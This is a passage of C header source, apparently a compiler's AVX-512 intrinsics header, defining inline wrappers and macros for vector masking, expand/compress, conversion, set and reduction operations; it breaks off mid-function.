static __inline__ __mmask16 __DEFAULT_FN_ATTRS512
_mm512_testn_epi32_mask (__m512i __A, __m512i __B)
{
  return _mm512_cmpeq_epi32_mask (_mm512_and_epi32 (__A, __B),
                                  _mm512_setzero_si512());
}

static __inline__ __mmask16 __DEFAULT_FN_ATTRS512
_mm512_mask_testn_epi32_mask (__mmask16 __U, __m512i __A, __m512i __B)
{
  return _mm512_mask_cmpeq_epi32_mask (__U, _mm512_and_epi32 (__A, __B),
                                       _mm512_setzero_si512());
}

static __inline__ __mmask8 __DEFAULT_FN_ATTRS512
_mm512_testn_epi64_mask (__m512i __A, __m512i __B)
{
  return _mm512_cmpeq_epi64_mask (_mm512_and_epi32 (__A, __B),
                                  _mm512_setzero_si512());
}

static __inline__ __mmask8 __DEFAULT_FN_ATTRS512
_mm512_mask_testn_epi64_mask (__mmask8 __U, __m512i __A, __m512i __B)
{
  return _mm512_mask_cmpeq_epi64_mask (__U, _mm512_and_epi32 (__A, __B),
                                       _mm512_setzero_si512());
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_movehdup_ps (__m512 __A)
{
  return (__m512)__builtin_shufflevector((__v16sf)__A, (__v16sf)__A,
                         1, 1, 3, 3, 5, 5, 7, 7, 9, 9, 11, 11, 13, 13, 15, 15);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_movehdup_ps (__m512 __W, __mmask16 __U, __m512 __A)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_movehdup_ps(__A),
                                             (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_movehdup_ps (__mmask16 __U, __m512 __A)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_movehdup_ps(__A),
                                             (__v16sf)_mm512_setzero_ps());
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_moveldup_ps (__m512 __A)
{
  return (__m512)__builtin_shufflevector((__v16sf)__A, (__v16sf)__A,
                         0, 0, 2, 2, 4, 4, 6, 6, 8, 8, 10, 10, 12, 12, 14, 14);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_moveldup_ps (__m512 __W, __mmask16 __U, __m512 __A)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_moveldup_ps(__A),
                                             (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_moveldup_ps (__mmask16 __U, __m512 __A)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                             (__v16sf)_mm512_moveldup_ps(__A),
                                             (__v16sf)_mm512_setzero_ps());
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_move_ss (__m128 __W, __mmask8 __U, __m128 __A, __m128 __B)
{
  return __builtin_ia32_selectss_128(__U, _mm_move_ss(__A, __B), __W);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_move_ss (__mmask8 __U, __m128 __A, __m128 __B)
{
  return __builtin_ia32_selectss_128(__U, _mm_move_ss(__A, __B),
                                     _mm_setzero_ps());
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_move_sd (__m128d __W, __mmask8 __U, __m128d __A, __m128d __B)
{
  return __builtin_ia32_selectsd_128(__U, _mm_move_sd(__A, __B), __W);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_move_sd (__mmask8 __U, __m128d __A, __m128d __B)
{
  return __builtin_ia32_selectsd_128(__U, _mm_move_sd(__A, __B),
                                     _mm_setzero_pd());
}

static __inline__ void __DEFAULT_FN_ATTRS128
_mm_mask_store_ss (float * __W, __mmask8 __U, __m128 __A)
{
  __builtin_ia32_storess128_mask ((__v4sf *)__W, __A, __U &amp; 1);
}

static __inline__ void __DEFAULT_FN_ATTRS128
_mm_mask_store_sd (double * __W, __mmask8 __U, __m128d __A)
{
  __builtin_ia32_storesd128_mask ((__v2df *)__W, __A, __U &amp; 1);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_load_ss (__m128 __W, __mmask8 __U, const float* __A)
{
  __m128 src = (__v4sf) __builtin_shufflevector((__v4sf) __W,
                                                (__v4sf)_mm_setzero_ps(),
                                                0, 4, 4, 4);

  return (__m128) __builtin_ia32_loadss128_mask ((const __v4sf *) __A, src, __U &amp; 1);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_load_ss (__mmask8 __U, const float* __A)
{
  return (__m128)__builtin_ia32_loadss128_mask ((const __v4sf *) __A,
                                                (__v4sf) _mm_setzero_ps(),
                                                __U &amp; 1);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_load_sd (__m128d __W, __mmask8 __U, const double* __A)
{
  __m128d src = (__v2df) __builtin_shufflevector((__v2df) __W,
                                                 (__v2df)_mm_setzero_pd(),
                                                 0, 2);

  return (__m128d) __builtin_ia32_loadsd128_mask ((const __v2df *) __A, src, __U &amp; 1);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_load_sd (__mmask8 __U, const double* __A)
{
  return (__m128d) __builtin_ia32_loadsd128_mask ((const __v2df *) __A,
                                                  (__v2df) _mm_setzero_pd(),
                                                  __U &amp; 1);
}

#define _mm512_shuffle_epi32(A, I) \
  ((__m512i)__builtin_ia32_pshufd512((__v16si)(__m512i)(A), (int)(I)))

#define _mm512_mask_shuffle_epi32(W, U, A, I) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                       (__v16si)_mm512_shuffle_epi32((A), (I)), \
                                       (__v16si)(__m512i)(W)))

#define _mm512_maskz_shuffle_epi32(U, A, I) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                       (__v16si)_mm512_shuffle_epi32((A), (I)), \
                                       (__v16si)_mm512_setzero_si512()))

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_expand_pd (__m512d __W, __mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_expanddf512_mask ((__v8df) __A,
                (__v8df) __W,
                (__mmask8) __U);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_expand_pd (__mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_expanddf512_mask ((__v8df) __A,
                (__v8df) _mm512_setzero_pd (),
                (__mmask8) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_expand_epi64 (__m512i __W, __mmask8 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_expanddi512_mask ((__v8di) __A,
                (__v8di) __W,
                (__mmask8) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_expand_epi64 ( __mmask8 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_expanddi512_mask ((__v8di) __A,
                (__v8di) _mm512_setzero_si512 (),
                (__mmask8) __U);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_expandloadu_pd(__m512d __W, __mmask8 __U, void const *__P)
{
  return (__m512d) __builtin_ia32_expandloaddf512_mask ((const __v8df *)__P,
              (__v8df) __W,
              (__mmask8) __U);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_expandloadu_pd(__mmask8 __U, void const *__P)
{
  return (__m512d) __builtin_ia32_expandloaddf512_mask ((const __v8df *)__P,
              (__v8df) _mm512_setzero_pd(),
              (__mmask8) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_expandloadu_epi64(__m512i __W, __mmask8 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_expandloaddi512_mask ((const __v8di *)__P,
              (__v8di) __W,
              (__mmask8) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_expandloadu_epi64(__mmask8 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_expandloaddi512_mask ((const __v8di *)__P,
              (__v8di) _mm512_setzero_si512(),
              (__mmask8) __U);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_expandloadu_ps(__m512 __W, __mmask16 __U, void const *__P)
{
  return (__m512) __builtin_ia32_expandloadsf512_mask ((const __v16sf *)__P,
                   (__v16sf) __W,
                   (__mmask16) __U);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_expandloadu_ps(__mmask16 __U, void const *__P)
{
  return (__m512) __builtin_ia32_expandloadsf512_mask ((const __v16sf *)__P,
                   (__v16sf) _mm512_setzero_ps(),
                   (__mmask16) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_expandloadu_epi32(__m512i __W, __mmask16 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_expandloadsi512_mask ((const __v16si *)__P,
              (__v16si) __W,
              (__mmask16) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_expandloadu_epi32(__mmask16 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_expandloadsi512_mask ((const __v16si *)__P,
              (__v16si) _mm512_setzero_si512(),
              (__mmask16) __U);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_expand_ps (__m512 __W, __mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_expandsf512_mask ((__v16sf) __A,
               (__v16sf) __W,
               (__mmask16) __U);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_expand_ps (__mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_expandsf512_mask ((__v16sf) __A,
               (__v16sf) _mm512_setzero_ps(),
               (__mmask16) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_expand_epi32 (__m512i __W, __mmask16 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_expandsi512_mask ((__v16si) __A,
                (__v16si) __W,
                (__mmask16) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_expand_epi32 (__mmask16 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_expandsi512_mask ((__v16si) __A,
                (__v16si) _mm512_setzero_si512(),
                (__mmask16) __U);
}

#define _mm512_cvt_roundps_pd(A, R) \
  ((__m512d)__builtin_ia32_cvtps2pd512_mask((__v8sf)(__m256)(A), \
                                            (__v8df)_mm512_undefined_pd(), \
                                            (__mmask8)-1, (int)(R)))

#define _mm512_mask_cvt_roundps_pd(W, U, A, R) \
  ((__m512d)__builtin_ia32_cvtps2pd512_mask((__v8sf)(__m256)(A), \
                                            (__v8df)(__m512d)(W), \
                                            (__mmask8)(U), (int)(R)))

#define _mm512_maskz_cvt_roundps_pd(U, A, R) \
  ((__m512d)__builtin_ia32_cvtps2pd512_mask((__v8sf)(__m256)(A), \
                                            (__v8df)_mm512_setzero_pd(), \
                                            (__mmask8)(U), (int)(R)))

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_cvtps_pd (__m256 __A)
{
  return (__m512d) __builtin_convertvector((__v8sf)__A, __v8df);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_cvtps_pd (__m512d __W, __mmask8 __U, __m256 __A)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_cvtps_pd(__A),
                                              (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtps_pd (__mmask8 __U, __m256 __A)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_cvtps_pd(__A),
                                              (__v8df)_mm512_setzero_pd());
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_cvtpslo_pd (__m512 __A)
{
  return (__m512d) _mm512_cvtps_pd(_mm512_castps512_ps256(__A));
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_cvtpslo_pd (__m512d __W, __mmask8 __U, __m512 __A)
{
  return (__m512d) _mm512_mask_cvtps_pd(__W, __U, _mm512_castps512_ps256(__A));
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_mov_pd (__m512d __W, __mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_selectpd_512 ((__mmask8) __U,
              (__v8df) __A,
              (__v8df) __W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_mov_pd (__mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_selectpd_512 ((__mmask8) __U,
              (__v8df) __A,
              (__v8df) _mm512_setzero_pd ());
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_mov_ps (__m512 __W, __mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_selectps_512 ((__mmask16) __U,
             (__v16sf) __A,
             (__v16sf) __W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_mov_ps (__mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_selectps_512 ((__mmask16) __U,
             (__v16sf) __A,
             (__v16sf) _mm512_setzero_ps ());
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_compressstoreu_pd (void *__P, __mmask8 __U, __m512d __A)
{
  __builtin_ia32_compressstoredf512_mask ((__v8df *) __P, (__v8df) __A,
            (__mmask8) __U);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_compressstoreu_epi64 (void *__P, __mmask8 __U, __m512i __A)
{
  __builtin_ia32_compressstoredi512_mask ((__v8di *) __P, (__v8di) __A,
            (__mmask8) __U);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_compressstoreu_ps (void *__P, __mmask16 __U, __m512 __A)
{
  __builtin_ia32_compressstoresf512_mask ((__v16sf *) __P, (__v16sf) __A,
            (__mmask16) __U);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_compressstoreu_epi32 (void *__P, __mmask16 __U, __m512i __A)
{
  __builtin_ia32_compressstoresi512_mask ((__v16si *) __P, (__v16si) __A,
            (__mmask16) __U);
}

#define _mm_cvt_roundsd_ss(A, B, R) \
  ((__m128)__builtin_ia32_cvtsd2ss_round_mask((__v4sf)(__m128)(A), \
                                              (__v2df)(__m128d)(B), \
                                              (__v4sf)_mm_undefined_ps(), \
                                              (__mmask8)-1, (int)(R)))

#define _mm_mask_cvt_roundsd_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_cvtsd2ss_round_mask((__v4sf)(__m128)(A), \
                                              (__v2df)(__m128d)(B), \
                                              (__v4sf)(__m128)(W), \
                                              (__mmask8)(U), (int)(R)))

#define _mm_maskz_cvt_roundsd_ss(U, A, B, R) \
  ((__m128)__builtin_ia32_cvtsd2ss_round_mask((__v4sf)(__m128)(A), \
                                              (__v2df)(__m128d)(B), \
                                              (__v4sf)_mm_setzero_ps(), \
                                              (__mmask8)(U), (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_cvtsd_ss (__m128 __W, __mmask8 __U, __m128 __A, __m128d __B)
{
  return __builtin_ia32_cvtsd2ss_round_mask ((__v4sf)__A,
                                             (__v2df)__B,
                                             (__v4sf)__W,
                                             (__mmask8)__U, _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_cvtsd_ss (__mmask8 __U, __m128 __A, __m128d __B)
{
  return __builtin_ia32_cvtsd2ss_round_mask ((__v4sf)__A,
                                             (__v2df)__B,
                                             (__v4sf)_mm_setzero_ps(),
                                             (__mmask8)__U, _MM_FROUND_CUR_DIRECTION);
}

#define _mm_cvtss_i32 _mm_cvtss_si32
#define _mm_cvtsd_i32 _mm_cvtsd_si32
#define _mm_cvti32_sd _mm_cvtsi32_sd
#define _mm_cvti32_ss _mm_cvtsi32_ss
#ifdef __x86_64__
#define _mm_cvtss_i64 _mm_cvtss_si64
#define _mm_cvtsd_i64 _mm_cvtsd_si64
#define _mm_cvti64_sd _mm_cvtsi64_sd
#define _mm_cvti64_ss _mm_cvtsi64_ss
#endif

#ifdef __x86_64__
#define _mm_cvt_roundi64_sd(A, B, R) \
  ((__m128d)__builtin_ia32_cvtsi2sd64((__v2df)(__m128d)(A), (long long)(B), \
                                      (int)(R)))

#define _mm_cvt_roundsi64_sd(A, B, R) \
  ((__m128d)__builtin_ia32_cvtsi2sd64((__v2df)(__m128d)(A), (long long)(B), \
                                      (int)(R)))
#endif

#define _mm_cvt_roundsi32_ss(A, B, R) \
  ((__m128)__builtin_ia32_cvtsi2ss32((__v4sf)(__m128)(A), (int)(B), (int)(R)))

#define _mm_cvt_roundi32_ss(A, B, R) \
  ((__m128)__builtin_ia32_cvtsi2ss32((__v4sf)(__m128)(A), (int)(B), (int)(R)))

#ifdef __x86_64__
#define _mm_cvt_roundsi64_ss(A, B, R) \
  ((__m128)__builtin_ia32_cvtsi2ss64((__v4sf)(__m128)(A), (long long)(B), \
                                     (int)(R)))

#define _mm_cvt_roundi64_ss(A, B, R) \
  ((__m128)__builtin_ia32_cvtsi2ss64((__v4sf)(__m128)(A), (long long)(B), \
                                     (int)(R)))
#endif

#define _mm_cvt_roundss_sd(A, B, R) \
  ((__m128d)__builtin_ia32_cvtss2sd_round_mask((__v2df)(__m128d)(A), \
                                               (__v4sf)(__m128)(B), \
                                               (__v2df)_mm_undefined_pd(), \
                                               (__mmask8)-1, (int)(R)))

#define _mm_mask_cvt_roundss_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_cvtss2sd_round_mask((__v2df)(__m128d)(A), \
                                               (__v4sf)(__m128)(B), \
                                               (__v2df)(__m128d)(W), \
                                               (__mmask8)(U), (int)(R)))

#define _mm_maskz_cvt_roundss_sd(U, A, B, R) \
  ((__m128d)__builtin_ia32_cvtss2sd_round_mask((__v2df)(__m128d)(A), \
                                               (__v4sf)(__m128)(B), \
                                               (__v2df)_mm_setzero_pd(), \
                                               (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_cvtss_sd (__m128d __W, __mmask8 __U, __m128d __A, __m128 __B)
{
  return __builtin_ia32_cvtss2sd_round_mask((__v2df)__A,
                                            (__v4sf)__B,
                                            (__v2df)__W,
                                            (__mmask8)__U, _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_cvtss_sd (__mmask8 __U, __m128d __A, __m128 __B)
{
  return __builtin_ia32_cvtss2sd_round_mask((__v2df)__A,
                                            (__v4sf)__B,
                                            (__v2df)_mm_setzero_pd(),
                                            (__mmask8)__U, _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_cvtu32_sd (__m128d __A, unsigned __B)
{
  __A[0] = __B;
  return __A;
}

#ifdef __x86_64__
#define _mm_cvt_roundu64_sd(A, B, R) \
  ((__m128d)__builtin_ia32_cvtusi2sd64((__v2df)(__m128d)(A), \
                                       (unsigned long long)(B), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_cvtu64_sd (__m128d __A, unsigned long long __B)
{
  __A[0] = __B;
  return __A;
}
#endif

#define _mm_cvt_roundu32_ss(A, B, R) \
  ((__m128)__builtin_ia32_cvtusi2ss32((__v4sf)(__m128)(A), (unsigned int)(B), \
                                      (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_cvtu32_ss (__m128 __A, unsigned __B)
{
  __A[0] = __B;
  return __A;
}

#ifdef __x86_64__
#define _mm_cvt_roundu64_ss(A, B, R) \
  ((__m128)__builtin_ia32_cvtusi2ss64((__v4sf)(__m128)(A), \
                                      (unsigned long long)(B), (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_cvtu64_ss (__m128 __A, unsigned long long __B)
{
  __A[0] = __B;
  return __A;
}
#endif

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_set1_epi32 (__m512i __O, __mmask16 __M, int __A)
{
  return (__m512i) __builtin_ia32_selectd_512(__M,
                                              (__v16si) _mm512_set1_epi32(__A),
                                              (__v16si) __O);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_set1_epi64 (__m512i __O, __mmask8 __M, long long __A)
{
  return (__m512i) __builtin_ia32_selectq_512(__M,
                                              (__v8di) _mm512_set1_epi64(__A),
                                              (__v8di) __O);
}

static  __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_set_epi8 (char __e63, char __e62, char __e61, char __e60, char __e59,
    char __e58, char __e57, char __e56, char __e55, char __e54, char __e53,
    char __e52, char __e51, char __e50, char __e49, char __e48, char __e47,
    char __e46, char __e45, char __e44, char __e43, char __e42, char __e41,
    char __e40, char __e39, char __e38, char __e37, char __e36, char __e35,
    char __e34, char __e33, char __e32, char __e31, char __e30, char __e29,
    char __e28, char __e27, char __e26, char __e25, char __e24, char __e23,
    char __e22, char __e21, char __e20, char __e19, char __e18, char __e17,
    char __e16, char __e15, char __e14, char __e13, char __e12, char __e11,
    char __e10, char __e9, char __e8, char __e7, char __e6, char __e5,
    char __e4, char __e3, char __e2, char __e1, char __e0) {

  return __extension__ (__m512i)(__v64qi)
    {__e0, __e1, __e2, __e3, __e4, __e5, __e6, __e7,
     __e8, __e9, __e10, __e11, __e12, __e13, __e14, __e15,
     __e16, __e17, __e18, __e19, __e20, __e21, __e22, __e23,
     __e24, __e25, __e26, __e27, __e28, __e29, __e30, __e31,
     __e32, __e33, __e34, __e35, __e36, __e37, __e38, __e39,
     __e40, __e41, __e42, __e43, __e44, __e45, __e46, __e47,
     __e48, __e49, __e50, __e51, __e52, __e53, __e54, __e55,
     __e56, __e57, __e58, __e59, __e60, __e61, __e62, __e63};
}

static  __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_set_epi16(short __e31, short __e30, short __e29, short __e28,
    short __e27, short __e26, short __e25, short __e24, short __e23,
    short __e22, short __e21, short __e20, short __e19, short __e18,
    short __e17, short __e16, short __e15, short __e14, short __e13,
    short __e12, short __e11, short __e10, short __e9, short __e8,
    short __e7, short __e6, short __e5, short __e4, short __e3,
    short __e2, short __e1, short __e0) {
  return __extension__ (__m512i)(__v32hi)
    {__e0, __e1, __e2, __e3, __e4, __e5, __e6, __e7,
     __e8, __e9, __e10, __e11, __e12, __e13, __e14, __e15,
     __e16, __e17, __e18, __e19, __e20, __e21, __e22, __e23,
     __e24, __e25, __e26, __e27, __e28, __e29, __e30, __e31 };
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_set_epi32 (int __A, int __B, int __C, int __D,
     int __E, int __F, int __G, int __H,
     int __I, int __J, int __K, int __L,
     int __M, int __N, int __O, int __P)
{
  return __extension__ (__m512i)(__v16si)
  { __P, __O, __N, __M, __L, __K, __J, __I,
    __H, __G, __F, __E, __D, __C, __B, __A };
}

#define _mm512_setr_epi32(e0,e1,e2,e3,e4,e5,e6,e7,           \
       e8,e9,e10,e11,e12,e13,e14,e15)          \
  _mm512_set_epi32((e15),(e14),(e13),(e12),(e11),(e10),(e9),(e8),(e7),(e6), \
                   (e5),(e4),(e3),(e2),(e1),(e0))

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_set_epi64 (long long __A, long long __B, long long __C,
     long long __D, long long __E, long long __F,
     long long __G, long long __H)
{
  return __extension__ (__m512i) (__v8di)
  { __H, __G, __F, __E, __D, __C, __B, __A };
}

#define _mm512_setr_epi64(e0,e1,e2,e3,e4,e5,e6,e7)           \
  _mm512_set_epi64((e7),(e6),(e5),(e4),(e3),(e2),(e1),(e0))

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_set_pd (double __A, double __B, double __C, double __D,
        double __E, double __F, double __G, double __H)
{
  return __extension__ (__m512d)
  { __H, __G, __F, __E, __D, __C, __B, __A };
}

#define _mm512_setr_pd(e0,e1,e2,e3,e4,e5,e6,e7)              \
  _mm512_set_pd((e7),(e6),(e5),(e4),(e3),(e2),(e1),(e0))

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_set_ps (float __A, float __B, float __C, float __D,
        float __E, float __F, float __G, float __H,
        float __I, float __J, float __K, float __L,
        float __M, float __N, float __O, float __P)
{
  return __extension__ (__m512)
  { __P, __O, __N, __M, __L, __K, __J, __I,
    __H, __G, __F, __E, __D, __C, __B, __A };
}

#define _mm512_setr_ps(e0,e1,e2,e3,e4,e5,e6,e7,e8,e9,e10,e11,e12,e13,e14,e15) \
  _mm512_set_ps((e15),(e14),(e13),(e12),(e11),(e10),(e9),(e8),(e7),(e6),(e5), \
                (e4),(e3),(e2),(e1),(e0))

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_abs_ps(__m512 __A)
{
  return (__m512)_mm512_and_epi32(_mm512_set1_epi32(0x7FFFFFFF),(__m512i)__A) ;
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_abs_ps(__m512 __W, __mmask16 __K, __m512 __A)
{
  return (__m512)_mm512_mask_and_epi32((__m512i)__W, __K, _mm512_set1_epi32(0x7FFFFFFF),(__m512i)__A) ;
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_abs_pd(__m512d __A)
{
  return (__m512d)_mm512_and_epi64(_mm512_set1_epi64(0x7FFFFFFFFFFFFFFF),(__v8di)__A) ;
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_abs_pd(__m512d __W, __mmask8 __K, __m512d __A)
{
  return (__m512d)_mm512_mask_and_epi64((__v8di)__W, __K, _mm512_set1_epi64(0x7FFFFFFFFFFFFFFF),(__v8di)__A);
}

/* Vector-reduction arithmetic accepts vectors as inputs and produces scalars as
 * outputs. This class of vector operation forms the basis of many scientific
 * computations. In vector-reduction arithmetic, the evaluation order is
 * independent of the order of the input elements of V.

 * For floating-point intrinsics:
 * 1. When using fadd/fmul intrinsics, the order of operations within the
 * vector is unspecified (associative math).
 * 2. When using fmin/fmax intrinsics, NaN or -0.0 elements within the vector
 * produce unspecified results.

 * Used bisection method. At each step, we partition the vector with previous
 * step in half, and the operation is performed on its two halves.
 * This takes log2(n) steps where n is the number of elements in the vector.
 */

static __inline__ long long __DEFAULT_FN_ATTRS512 _mm512_reduce_add_epi64(__m512i __W) {
  return __builtin_reduce_add((__v8di)__W);
}

static __inline__ long long __DEFAULT_FN_ATTRS512 _mm512_reduce_mul_epi64(__m512i __W) {
  return __builtin_reduce_mul((__v8di)__W);
}

static __inline__ long long __DEFAULT_FN_ATTRS512 _mm512_reduce_and_epi64(__m512i __W) {
  return __builtin_reduce_and((__v8di)__W);
}

static __inline__ long long __DEFAULT_FN_ATTRS512 _mm512_reduce_or_epi64(__m512i __W) {
  return __builtin_reduce_or((__v8di)__W);
}

static __inline__ long long __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_add_epi64(__mmask8 __M, __m512i __W) {
  __W = _mm512_maskz_mov_epi64(__M, __W);
  return __builtin_reduce_add((__v8di)__W);
}

static __inline__ long long __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_mul_epi64(__mmask8 __M, __m512i __W) {
  __W = _mm512_mask_mov_epi64(_mm512_set1_epi64(1), __M, __W);
  return __builtin_reduce_mul((__v8di)__W);
}

static __inline__ long long __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_and_epi64(__mmask8 __M, __m512i __W) {
  __W = _mm512_mask_mov_epi64(_mm512_set1_epi64(-1LL), __M, __W);
  return __builtin_reduce_and((__v8di)__W);
}

static __inline__ long long __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_or_epi64(__mmask8 __M, __m512i __W) {
  __W = _mm512_maskz_mov_epi64(__M, __W);
  return __builtin_reduce_or((__v8di)__W);
}

// -0.0 is used to ignore the start value since it is the neutral value of
// floating point addition. For more information, please refer to
// https://llvm.org/docs/LangRef.html#llvm-vector-reduce-fadd-intrinsic
static __inline__ double __DEFAULT_FN_ATTRS512 _mm512_reduce_add_pd(__m512d __W) {
  return __builtin_ia32_reduce_fadd_pd512(-0.0, __W);
}

static __inline__ double __DEFAULT_FN_ATTRS512 _mm512_reduce_mul_pd(__m512d __W) {
  return __builtin_ia32_reduce_fmul_pd512(1.0, __W);
}

static __inline__ double __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_add_pd(__mmask8 __M, __m512d __W) {
  __W = _mm512_maskz_mov_pd(__M, __W);
  return __builtin_ia32_reduce_fadd_pd512(-0.0, __W);
}

static __inline__ double __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_mul_pd(__mmask8 __M, __m512d __W) {
  __W = _mm512_mask_mov_pd(_mm512_set1_pd(1.0), __M, __W);
  return __builtin_ia32_reduce_fmul_pd512(1.0, __W);
}

static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_reduce_add_epi32(__m512i __W) {
  return __builtin_reduce_add((__v16si)__W);
}

static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_reduce_mul_epi32(__m512i __W) {
  return __builtin_reduce_mul((__v16si)__W);
}

static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_reduce_and_epi32(__m512i __W) {
  return __builtin_reduce_and((__v16si)__W);
}

static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_reduce_or_epi32(__m512i __W) {
  return __builtin_reduce_or((__v16si)__W);
}

static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_add_epi32( __mmask16 __M, __m512i __W) {
  __W = _mm512_maskz_mov_epi32(__M, __W);
  return __builtin_reduce_add((__v16si)__W);
}

static __inline__ int __DEFAULT_FN_ATTRS512
_mm512_mask_reduce_mul_epi32( __mmask16 __M, __m512i __W) {
  __W = _mm512_mask_mov_epi32(_mm512_set1_epi32(1), __M, __W);
